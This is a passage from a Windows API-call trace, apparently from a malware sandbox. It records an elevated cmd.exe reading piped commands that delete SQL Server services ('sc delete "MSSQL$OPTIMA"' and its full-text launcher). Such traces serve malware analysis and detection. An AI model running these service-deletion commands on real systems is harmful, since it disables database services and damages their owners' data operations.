out: hHeap=0x240000) returned 1 [0077.110] GetEnvironmentStringsW () returned 0x261b10* [0077.110] GetProcessHeap () returned 0x240000 [0077.110] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.110] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.110] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.110] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.110] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.153] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.153] CloseHandle (hObject=0x54) returned 1 [0077.153] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.153] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.153] GetProcessHeap () returned 0x240000 [0077.153] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.153] GetEnvironmentStringsW () returned 0x261b10* [0077.153] GetProcessHeap () returned 0x240000 [0077.153] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.154] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.154] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.154] GetProcessHeap () returned 0x240000 [0077.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.154] GetEnvironmentStringsW () returned 0x261b10* [0077.154] GetProcessHeap () returned 0x240000 [0077.154] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.154] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.154] GetProcessHeap () returned 0x240000 [0077.154] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.154] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.154] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.155] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.155] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.155] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.155] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.156] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.156] GetConsoleOutputCP () returned 0x1b5 [0077.156] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.156] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.156] GetProcessHeap () returned 0x240000 [0077.156] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.156] GetProcessHeap () returned 0x240000 [0077.156] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.156] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.157] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.157] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259840 | out: hHeap=0x240000) returned 1 [0077.157] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.157] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0077.157] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.157] GetProcessHeap () returned 0x240000 [0077.157] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.157] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.157] GetFileType (hFile=0x120) returned 0x3 [0077.157] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.157] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.157] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.157] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.157] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.157] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.158] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.158] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.158] GetFileType (hFile=0x120) returned 0x3 [0077.158] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.158] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.158] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.158] GetFileType (hFile=0xb8) returned 0x3 [0077.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.158] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.158] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.158] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.159] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.159] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.159] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.160] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.160] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.160] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.160] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.160] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.161] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.161] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MSSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.161] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SSQLFDLauncher$OPTIMA\"\n") returned 1 [0077.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.161] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="SQLFDLauncher$OPTIMA\"\n") returned 1 [0077.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.162] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="QLFDLauncher$OPTIMA\"\n") returned 1 [0077.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.162] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="LFDLauncher$OPTIMA\"\n") returned 1 [0077.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.162] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="$DLauncher$OPTIMA\"\n") returned 1 [0077.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.162] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="OLauncher$OPTIMA\"\n") returned 1 [0077.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.162] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="Pauncher$OPTIMA\"\n") returned 1 [0077.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.163] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="Tuncher$OPTIMA\"\n") returned 1 [0077.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.163] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="Incher$OPTIMA\"\n") returned 1 [0077.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.163] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="Mcher$OPTIMA\"\n") returned 1 [0077.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.163] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="Aher$OPTIMA\"\n") returned 1 [0077.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.164] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="\"er$OPTIMA\"\n") returned 1 [0077.164] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.164] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.164] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="\nr$OPTIMA\"\n") returned 1 [0077.164] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.164] GetFileType (hFile=0xb8) returned 0x3 [0077.164] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.164] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.164] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.164] GetFileType (hFile=0x120) returned 0x3 [0077.164] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"MSSQL$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"MSSQL$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 26 [0077.164] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x19, lpOverlapped=0x0) returned 1 [0077.164] GetProcessHeap () returned 0x240000 [0077.164] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.164] GetProcessHeap () returned 0x240000 [0077.164] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.165] GetProcessHeap () returned 0x240000 [0077.165] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, 